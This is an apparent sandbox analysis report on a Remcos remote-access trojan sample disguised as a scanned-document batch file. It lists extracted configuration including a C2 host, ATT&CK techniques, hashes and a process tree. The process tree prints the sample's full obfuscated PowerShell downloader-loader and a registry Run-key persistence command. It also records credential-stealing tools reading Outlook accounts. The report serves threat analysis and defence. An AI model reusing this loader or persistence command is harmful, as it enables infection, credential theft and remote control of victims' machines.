remcos | 4a4c0918bdacd60e792a814ddacc5dc7edb83644268611313cb9b453991ac628

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18/10/2024, 10:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SKM_0001810-01-2024-GL-3762.bat
Size

5KB
MD5

94cfdc6035491e5b2be50fc7d7071ec1
SHA1

03a744cccaedb09ff1e1e4acf704a8d82b01d2ad
SHA256

9493ad437ea4b55629ee0a8d18141977c2632de42349a995730112727549f40e
SHA512

415d81ad761c3a507abc5ca15e56c3442b403bc4172d0215e13de6b5f7b13c30f76d7d3f35038ebd5c81d889b601e57d450467291b38f448f97988d45ca1ed64
SSDEEP

96:ZZ+/7UZr6BBrGhhQYs0QXw6Kd/zov4doU9NvMVcl/796JbwuRVrn8nrEH8yyk:ZZ+DOkChhQYsyltzaCN4cwRVrn8nrG1

Score

10^/10

remcos nbuild collection discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Nbuild

renajazinw.duckdns.org:53848

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
Windeep.exe
copy_folder
AppDir
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JTPTLW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4936-85-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1248-79-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4776-78-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1248-79-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4776-78-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 8 IoCs

flow	pid	Process
14	4776	powershell.exe
16	4776	powershell.exe
45	4964	msiexec.exe
46	4964	msiexec.exe
48	4964	msiexec.exe
50	4964	msiexec.exe
51	4964	msiexec.exe
53	4964	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4008	powershell.exe
4776	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Consanguineous% -windowstyle 1 $Aboriginal=(gp -Path 'HKCU:\\Software\\involving\\').Elgkos;%Consanguineous% ($Aboriginal)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4964	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4008	powershell.exe
4964	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4964 set thread context of 4776	4964	msiexec.exe	116
PID 4964 set thread context of 1248	4964	msiexec.exe	117
PID 4964 set thread context of 4936	4964	msiexec.exe	119

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4516	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4776	powershell.exe
4776	powershell.exe
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe
4776	msiexec.exe
4776	msiexec.exe
4936	msiexec.exe
4936	msiexec.exe
4776	msiexec.exe
4776	msiexec.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
4008	powershell.exe
4964	msiexec.exe
4964	msiexec.exe
4964	msiexec.exe
4964	msiexec.exe
4964	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4776	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4936	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4964	msiexec.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2472 wrote to memory of 4776	2472	cmd.exe	85
PID 2472 wrote to memory of 4776	2472	cmd.exe	85
PID 4008 wrote to memory of 4964	4008	powershell.exe	105
PID 4008 wrote to memory of 4964	4008	powershell.exe	105
PID 4008 wrote to memory of 4964	4008	powershell.exe	105
PID 4008 wrote to memory of 4964	4008	powershell.exe	105
PID 4964 wrote to memory of 2124	4964	msiexec.exe	108
PID 4964 wrote to memory of 2124	4964	msiexec.exe	108
PID 4964 wrote to memory of 2124	4964	msiexec.exe	108
PID 2124 wrote to memory of 4516	2124	cmd.exe	111
PID 2124 wrote to memory of 4516	2124	cmd.exe	111
PID 2124 wrote to memory of 4516	2124	cmd.exe	111
PID 4964 wrote to memory of 1160	4964	msiexec.exe	115
PID 4964 wrote to memory of 1160	4964	msiexec.exe	115
PID 4964 wrote to memory of 1160	4964	msiexec.exe	115
PID 4964 wrote to memory of 4776	4964	msiexec.exe	116
PID 4964 wrote to memory of 4776	4964	msiexec.exe	116
PID 4964 wrote to memory of 4776	4964	msiexec.exe	116
PID 4964 wrote to memory of 4776	4964	msiexec.exe	116
PID 4964 wrote to memory of 1248	4964	msiexec.exe	117
PID 4964 wrote to memory of 1248	4964	msiexec.exe	117
PID 4964 wrote to memory of 1248	4964	msiexec.exe	117
PID 4964 wrote to memory of 1248	4964	msiexec.exe	117
PID 4964 wrote to memory of 1972	4964	msiexec.exe	118
PID 4964 wrote to memory of 1972	4964	msiexec.exe	118
PID 4964 wrote to memory of 1972	4964	msiexec.exe	118
PID 4964 wrote to memory of 4936	4964	msiexec.exe	119
PID 4964 wrote to memory of 4936	4964	msiexec.exe	119
PID 4964 wrote to memory of 4936	4964	msiexec.exe	119
PID 4964 wrote to memory of 4936	4964	msiexec.exe	119

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SKM_0001810-01-2024-GL-3762.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Enfect Tictoc Hellebardistens Skovrankernes Redoblingers Soloth #>;$Rawboned31='Observationsklasser';<#Calvinistically Brunstiges Matroser Researched #>;$Anisometropic=$Booed+$host.UI; function Overfallen($Subantarctic161){If ($Anisometropic) {$Fredningerne++;}$Ponceau=$Lsevrdiges+$Subantarctic161.'Length'-$Fredningerne; for( $Unsullenly=4;$Unsullenly -lt $Ponceau;$Unsullenly+=5){$Prikkendes=$Unsullenly;$Cembalister+=$Subantarctic161[$Unsullenly];$Overproductive='Mglernes';}$Cembalister;}function Indsigelser($bullaces){ & ($Klassikernes130) ($bullaces);}$Resistante=Overfallen ' upeMRdstoHalvz teriAntelja el Un aDogw/Forl ';$Resistante+=Overfallen ' ajs5N.en. eng0 or Step(B,nnWChiriDystnB dedFy koIntewRuf sSkol UninNT mbT unk Chap1Vern0None..yto0Kolo;Kleh LibrWRi.gi rugn D e6Ove 4Dyve;Over ,agdx opf6Lage4klas;Forf SkelrScorvDrif:Vate1Lith3Orga1Bogs.Ber 0Unla)Agle UnliGSynkeVurdcL rekHel oPles/Dane2Form0 Che1Ramb0P on0ublu1B.ll0 Udl1Top. VareFS peiSnasrKuldeIntefMalpoDrifxgr b/Best1.ana3 utw1.igt. Len0Ro,a ';$mbori=Overfallen 'ForsUTeleSPon,e IbiRCom,-unamAsk lGOps ECrypNTeleTYder ';$Thirdendeal=Overfallen 'BarrhSonatD.stt Othptr n:Chew/Mine/Wifea,tacrTrsktStati SkoeOverrTelti,rne.Mexir,agnoRecr/ ShalDos /Cap SUdd q NonuHy,riRagnr Raat.emiiRefos,okkhFrem. dstBomboD.edcinor ';$Chromophotographic=Overfallen 'soli> Kur ';$Klassikernes130=Overfallen 'Je eI F,leRepaXF nc ';$Adddbr='Malleal';$earlships='\Categorizes.Afg';Indsigelser (Overfallen 'Syzy$Ins,GMisaLDemoo vibBib a Seal Uti:CinnEKse NLag gEnjeR TroODataS llepI teROttoiinglSW.ekeF.amrGermnAbseeKory=Bes $ UdbEAp knKarrvAmar:F yvamanvP etypPat.DTrskAG,netHnenAFel,+Aaer$ Hiseko oA IngR stel PogSTou.hRe,uiFolkPPareSPrea ');Indsigelser (Overfallen ',rei$TwosgQua L errO SpeBdynaAK.ntLRdse:RefriSpe NUn eDTom oH,pemUnmiAElidbDehyl TaxeTeks=Nrin$Va ut LydH CouI OveRConnd Atoe U.sNEksiD ,rbeMania En LDilu.t.orSWavepK ntl leriFrihTDieb( oly$JordcTelehMd drbulloCaroMS eaOGru.P ceahOss OFacetSutuOPsykgClayrD riaH phpT chH EriI HolCGg,e)Ilds ');Indsigelser (Overfallen 'Hemo[B tyN lokEEf.eT Vra. T ssSixtEGeo.r FerVAnaliSv mc o,qe lorpSporoEndai OmbNTheutFilmMCustaAl,oN CroA YelGSkvaE edgr.lbn] Um.: rom: IniSC tre ndeCAffeuTongRTremIOp kt SelY .laP DisR Ge.OKlosTIn io EntCLmleo ell Den Grak= uni Toch[Uph,NCra E HypTSk.l.O,lgsLentE linC SlaUInsuRColoIEn.rtHavvYForsPVelfRDonno airtStikOMicrC.aneORotalSnuftUlvsYTilgpForteWea.]Mois:Le t: ,retBraiLDecrSSeku1Hept2 Mir ');$Thirdendeal=$Indomable[0];$Marinarkologer=(Overfallen 'Stup$ MorgBesklIns OTronb MatAVildL kke:PaasDSpecEInspsTil,EAmphNhockS SkrIMantTOpgrI SteZM rsABildT.apiiEp cOUr,enBedvSA pr=,ambnSproeSemiwKluk-U.deOvi abSoupJPhonESur cBallT oly Fde SR efYVandsSkdstGoutekollM Hie.Tre nT,rmETaubTBro .mo tWpr,pEFagmB Ha,cOverL polihydreBridn rrTAnes ');Indsigelser ($Marinarkologer);Indsigelser (Overfallen 'Tili$OmdeDunpreKhazs Gese innBrygsVaabi NsttNon i Ov.zResmaOr,itbu liblanoRappn.rsgsR.ad.horrH SoleHybea AnsdepileNor rZerssSkun[ Enr$No dm TzebJamio ,asrc cai Vin]kont=pe s$ EncR ForeNutrsTot,i.relsSeretSvi.asubtn SpatFr aeOu,s ');$Makkerens=Overfallen 'Mir $CockD frdeO ses Me e Baln mans SkriIntetHereiNatizUncoaGau,t Endii,osofro nuntes Odi.RounDSad,oSidsw LunnGalcl.radoaktiacynodApprF aboiD.fflAutoeSibs(Agra$AfseTPremh TidiHemirNa udkbere usinTurrdSchoeim.oa n.sl Van,Re,y$CoroN FjeoPhrenHerauAft sByp eIantrThorsWeat)Nedr ';$Nonusers=$Engrospriserne;Indsigelser (Overfallen 'Reel$ irtg agalArbeoT rtbCas A,kspLIndd:Graet avnRL,baeframsKnneiSem D AsteSmmeD,aanEjudaS Hy,=Dist(NachTImpuEFa ts,bbatThob-LaryPsoc,A HintPro HHnge Unsu$pastnOpnao AwnN ltrUAlkaSRaptETarmr WassMarm) Tox ');while (!$Tresidedes) {Indsigelser (Overfallen 'Nskv$sammgIn ilCr,moBeatbLadea ChulSimu:WinnSQuilaTronmAffalEpiteHirtmFe,saFll p S lpTesteTrain,kaa=L,kt$KimotBrysrF niu Re eS cs ') ;Indsigelser $Makkerens;Indsigelser (Overfallen 'Fo mS.ybetAc,daAm.iRRapptBrea-Puncs rolL uze StaEP orPShod Revi4Info ');Indsigelser (Overfallen 'le c$Ko eGMisel T.oOSinoBNomaAM ssL Eks:Die.t EgerflagEPhossA,rai Pr dTwisEWooddCirceE,ges Jun=Udes(S ustTheceApodsSkretMel -MisbPKongaViseTVintH Lsk Nonp$Tnknn belo.ancNAll USkabSMarieSpitr DucSdonk)de.l ') ;Indsigelser (Overfallen ' ee$ AntGObsel of.o SmebTerma ellPrei: ilsU O,sNSemiSProdyGarnSGigmTRekoE JewM CouaV kstPlaiiEx,esTi biSultNrebsgDi csRs,n=Valg$F.ung CulL,hreoCol bUi,dAArbeL N s: TeaUAktiN TessPolyURingCSammc Sp eWowsESemidWongi VinnRhinGPeev+Lyri+Ele,%D oz$PaleI FornUdglDS.gtOFemtmBlaaaEsteBRestl Kome Cri.RoofcMilioPsycUIndlngernT Hi ') ;$Thirdendeal=$Indomable[$unsystematisings];}$Brasilete=297855;$Dunkelt=31467;Indsigelser (Overfallen 'F ra$A ilg ReolRe.eoSupeb ForaS,ucLSt.f: rbeaContBWorkjMediE.humC Na TKupp Kne= T.l DatgNo me.aisTGlis-ForscDkk,OVldiN Selt L mESmlenHoffT Sti Eund$Angun atoUsocN UdvUpa kSIn uE InyRSy aS fte ');Indsigelser (Overfallen ' Ant$TilbgD khl ApooForsbHalfaSexclProt:WeenAT enr.aedaAchlc SpehS penVogeiogeed veta LasnEdri Dags= t.t Subl[ elS IntyDrivsb.zotRelae intmSk t. oadCBabuoScolnHa ivConce JenrLimft abs]We p:,ole:vandFKon rSynpoSealm WheBJag aSgetsBrugeKost6Macu4 UndS ingtU.akrGalai InfnGenog.eds(Gale$RendaBolibConvjLoope BjlcCalot Ko )Wewe ');Indsigelser (Overfallen ' mpl$ TubGS.igLUdnvOKongBIndiA .ntLP,os:Ov.rNTeleMe anTRece Glio= Can mov[CornS angYH.posOmbytUrocErimemUnsw.ArtiTBr.mE M.sxBronT nn.Pante inNKnogC Chao CoaD UnbIAlmuNLio g Reg] Ude: .ar:MickA FraSInteCM goideniIdive.Bespggrone FortVollSLaagtbr wrLo dIKe inEspeGKapi(opkl$BisiAUdtrRSupeA Be,cSudaHBlasNLuetis.ordN ncaAn.eN Rat)Vava ');Indsigelser (Overfallen 'Spha$Bes GUnralLanaObataBVandA DecLEnkr:.oneTNordUE,ipiTalr=Kare$EumiN.quaMresptVoca. Ga.SOmsmUSup.BHollS ,roTSamfRKla,iZealNStadg Mar(syge$ WalB Gr,ReuroAA.tiS toiBi eLem.oeSlyptBiltETrma, For$ irkDblgeUAfp.nCu tkSpriERumllYtretBade)Anno ');Indsigelser $Tui;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Enfect Tictoc Hellebardistens Skovrankernes Redoblingers Soloth #>;$Rawboned31='Observationsklasser';<#Calvinistically Brunstiges Matroser Researched #>;$Anisometropic=$Booed+$host.UI; function Overfallen($Subantarctic161){If ($Anisometropic) {$Fredningerne++;}$Ponceau=$Lsevrdiges+$Subantarctic161.'Length'-$Fredningerne; for( $Unsullenly=4;$Unsullenly -lt $Ponceau;$Unsullenly+=5){$Prikkendes=$Unsullenly;$Cembalister+=$Subantarctic161[$Unsullenly];$Overproductive='Mglernes';}$Cembalister;}function Indsigelser($bullaces){ & ($Klassikernes130) ($bullaces);}$Resistante=Overfallen ' upeMRdstoHalvz teriAntelja el Un aDogw/Forl ';$Resistante+=Overfallen ' ajs5N.en. eng0 or Step(B,nnWChiriDystnB dedFy koIntewRuf sSkol UninNT mbT unk Chap1Vern0None..yto0Kolo;Kleh LibrWRi.gi rugn D e6Ove 4Dyve;Over ,agdx opf6Lage4klas;Forf SkelrScorvDrif:Vate1Lith3Orga1Bogs.Ber 0Unla)Agle UnliGSynkeVurdcL rekHel oPles/Dane2Form0 Che1Ramb0P on0ublu1B.ll0 Udl1Top. VareFS peiSnasrKuldeIntefMalpoDrifxgr b/Best1.ana3 utw1.igt. Len0Ro,a ';$mbori=Overfallen 'ForsUTeleSPon,e IbiRCom,-unamAsk lGOps ECrypNTeleTYder ';$Thirdendeal=Overfallen 'BarrhSonatD.stt Othptr n:Chew/Mine/Wifea,tacrTrsktStati SkoeOverrTelti,rne.Mexir,agnoRecr/ ShalDos /Cap SUdd q NonuHy,riRagnr Raat.emiiRefos,okkhFrem. dstBomboD.edcinor ';$Chromophotographic=Overfallen 'soli> Kur ';$Klassikernes130=Overfallen 'Je eI F,leRepaXF nc ';$Adddbr='Malleal';$earlships='\Categorizes.Afg';Indsigelser (Overfallen 'Syzy$Ins,GMisaLDemoo vibBib a Seal Uti:CinnEKse NLag gEnjeR TroODataS llepI teROttoiinglSW.ekeF.amrGermnAbseeKory=Bes $ UdbEAp knKarrvAmar:F yvamanvP etypPat.DTrskAG,netHnenAFel,+Aaer$ Hiseko oA IngR stel PogSTou.hRe,uiFolkPPareSPrea ');Indsigelser (Overfallen ',rei$TwosgQua L errO SpeBdynaAK.ntLRdse:RefriSpe NUn eDTom oH,pemUnmiAElidbDehyl TaxeTeks=Nrin$Va ut LydH CouI OveRConnd Atoe U.sNEksiD ,rbeMania En LDilu.t.orSWavepK ntl leriFrihTDieb( oly$JordcTelehMd drbulloCaroMS eaOGru.P ceahOss OFacetSutuOPsykgClayrD riaH phpT chH EriI HolCGg,e)Ilds ');Indsigelser (Overfallen 'Hemo[B tyN lokEEf.eT Vra. T ssSixtEGeo.r FerVAnaliSv mc o,qe lorpSporoEndai OmbNTheutFilmMCustaAl,oN CroA YelGSkvaE edgr.lbn] Um.: rom: IniSC tre ndeCAffeuTongRTremIOp kt SelY .laP DisR Ge.OKlosTIn io EntCLmleo ell Den Grak= uni Toch[Uph,NCra E HypTSk.l.O,lgsLentE linC SlaUInsuRColoIEn.rtHavvYForsPVelfRDonno airtStikOMicrC.aneORotalSnuftUlvsYTilgpForteWea.]Mois:Le t: ,retBraiLDecrSSeku1Hept2 Mir ');$Thirdendeal=$Indomable[0];$Marinarkologer=(Overfallen 'Stup$ MorgBesklIns OTronb MatAVildL kke:PaasDSpecEInspsTil,EAmphNhockS SkrIMantTOpgrI SteZM rsABildT.apiiEp cOUr,enBedvSA pr=,ambnSproeSemiwKluk-U.deOvi abSoupJPhonESur cBallT oly Fde SR efYVandsSkdstGoutekollM Hie.Tre nT,rmETaubTBro .mo tWpr,pEFagmB Ha,cOverL polihydreBridn rrTAnes ');Indsigelser ($Marinarkologer);Indsigelser (Overfallen 'Tili$OmdeDunpreKhazs Gese innBrygsVaabi NsttNon i Ov.zResmaOr,itbu liblanoRappn.rsgsR.ad.horrH SoleHybea AnsdepileNor rZerssSkun[ Enr$No dm TzebJamio ,asrc cai Vin]kont=pe s$ EncR ForeNutrsTot,i.relsSeretSvi.asubtn SpatFr aeOu,s ');$Makkerens=Overfallen 'Mir $CockD frdeO ses Me e Baln mans SkriIntetHereiNatizUncoaGau,t Endii,osofro nuntes Odi.RounDSad,oSidsw LunnGalcl.radoaktiacynodApprF aboiD.fflAutoeSibs(Agra$AfseTPremh TidiHemirNa udkbere usinTurrdSchoeim.oa n.sl Van,Re,y$CoroN FjeoPhrenHerauAft sByp eIantrThorsWeat)Nedr ';$Nonusers=$Engrospriserne;Indsigelser (Overfallen 'Reel$ irtg agalArbeoT rtbCas A,kspLIndd:Graet avnRL,baeframsKnneiSem D AsteSmmeD,aanEjudaS Hy,=Dist(NachTImpuEFa ts,bbatThob-LaryPsoc,A HintPro HHnge Unsu$pastnOpnao AwnN ltrUAlkaSRaptETarmr WassMarm) Tox ');while (!$Tresidedes) {Indsigelser (Overfallen 'Nskv$sammgIn ilCr,moBeatbLadea ChulSimu:WinnSQuilaTronmAffalEpiteHirtmFe,saFll p S lpTesteTrain,kaa=L,kt$KimotBrysrF niu Re eS cs ') ;Indsigelser $Makkerens;Indsigelser (Overfallen 'Fo mS.ybetAc,daAm.iRRapptBrea-Puncs rolL uze StaEP orPShod Revi4Info ');Indsigelser (Overfallen 'le c$Ko eGMisel T.oOSinoBNomaAM ssL Eks:Die.t EgerflagEPhossA,rai Pr dTwisEWooddCirceE,ges Jun=Udes(S ustTheceApodsSkretMel -MisbPKongaViseTVintH Lsk Nonp$Tnknn belo.ancNAll USkabSMarieSpitr DucSdonk)de.l ') ;Indsigelser (Overfallen ' ee$ AntGObsel of.o SmebTerma ellPrei: ilsU O,sNSemiSProdyGarnSGigmTRekoE JewM CouaV kstPlaiiEx,esTi biSultNrebsgDi csRs,n=Valg$F.ung CulL,hreoCol bUi,dAArbeL N s: TeaUAktiN TessPolyURingCSammc Sp eWowsESemidWongi VinnRhinGPeev+Lyri+Ele,%D oz$PaleI FornUdglDS.gtOFemtmBlaaaEsteBRestl Kome Cri.RoofcMilioPsycUIndlngernT Hi ') ;$Thirdendeal=$Indomable[$unsystematisings];}$Brasilete=297855;$Dunkelt=31467;Indsigelser (Overfallen 'F ra$A ilg ReolRe.eoSupeb ForaS,ucLSt.f: rbeaContBWorkjMediE.humC Na TKupp Kne= T.l DatgNo me.aisTGlis-ForscDkk,OVldiN Selt L mESmlenHoffT Sti Eund$Angun atoUsocN UdvUpa kSIn uE InyRSy aS fte ');Indsigelser (Overfallen ' Ant$TilbgD khl ApooForsbHalfaSexclProt:WeenAT enr.aedaAchlc SpehS penVogeiogeed veta LasnEdri Dags= t.t Subl[ elS IntyDrivsb.zotRelae intmSk t. oadCBabuoScolnHa ivConce JenrLimft abs]We p:,ole:vandFKon rSynpoSealm WheBJag aSgetsBrugeKost6Macu4 UndS ingtU.akrGalai InfnGenog.eds(Gale$RendaBolibConvjLoope BjlcCalot Ko )Wewe ');Indsigelser (Overfallen ' mpl$ TubGS.igLUdnvOKongBIndiA .ntLP,os:Ov.rNTeleMe anTRece Glio= Can mov[CornS angYH.posOmbytUrocErimemUnsw.ArtiTBr.mE M.sxBronT nn.Pante inNKnogC Chao CoaD UnbIAlmuNLio g Reg] Ude: .ar:MickA FraSInteCM goideniIdive.Bespggrone FortVollSLaagtbr wrLo dIKe inEspeGKapi(opkl$BisiAUdtrRSupeA Be,cSudaHBlasNLuetis.ordN ncaAn.eN Rat)Vava ');Indsigelser (Overfallen 'Spha$Bes GUnralLanaObataBVandA DecLEnkr:.oneTNordUE,ipiTalr=Kare$EumiN.quaMresptVoca. Ga.SOmsmUSup.BHollS ,roTSamfRKla,iZealNStadg Mar(syge$ WalB Gr,ReuroAA.tiS toiBi eLem.oeSlyptBiltETrma, For$ irkDblgeUAfp.nCu tkSpriERumllYtretBade)Anno ');Indsigelser $Tui;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Consanguineous% -windowstyle 1 $Aboriginal=(gp -Path 'HKCU:\Software\involving\').Elgkos;%Consanguineous% ($Aboriginal)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Consanguineous% -windowstyle 1 $Aboriginal=(gp -Path 'HKCU:\Software\involving\').Elgkos;%Consanguineous% ($Aboriginal)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4516
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\xwltygr"
    3⤵
    PID:1160
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\xwltygr"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4776
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\hqqezrcieh"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:1248
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\sswwajnjspdew"
    3⤵
    PID:1972
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\sswwajnjspdew"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
855a179acd150924b4bf9c5421e8d06e

SHA1
6cad701587d796a72a12a80c2c2128caa1314031

SHA256
c0528446e1db1d667a3d68f3f04168de65915bf0772ba7cc0f137347bc3751ce

SHA512
ec0662334ea8d9b5a15aade0071aaa49c7cec08f3f82ec5acef204065e01248df1a053b0123b58d95ed0d723f3bfd0955b00d07a706c27eab46ee21a466b4af9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_orvbzw4c.yep.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xwltygr

Filesize
4KB

MD5
16dfb23eaa7972c59c36fcbc0946093b

SHA1
1e9e3ff83a05131575f67e202d352709205f20f8

SHA256
36c49c94327c8cadcad4c0d2b3a8f5162fc7bb86624923484476c5f7b960bc4c

SHA512
a8b38b5e7bf886b78c5c7f01234b44647a252d4dfbcc06c99b863f8e160e3cfc151b2a83b8b49e09d13e8547419467da4bffbb8dee5fc6740032eb7c839d89dc

Download Submit
C:\Users\Admin\AppData\Roaming\Categorizes.Afg

Filesize
428KB

MD5
38081e40a46660b7de30d975957c94cf

SHA1
49e8ed5301eee63705bb929c274f60fe442f49d4

SHA256
911b33ae3e2587724dca9fd476bd066fb19d617b759628c0c222905e3e8307ef

SHA512
469db4b9cd649482a130593b578e5faf053ce9885425245d1d775abb3e32d1ff9c879598250719a88a04cb4dc15f7b444986164d123b3942563398b15bfb9b86

Download Submit
memory/1248-79-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
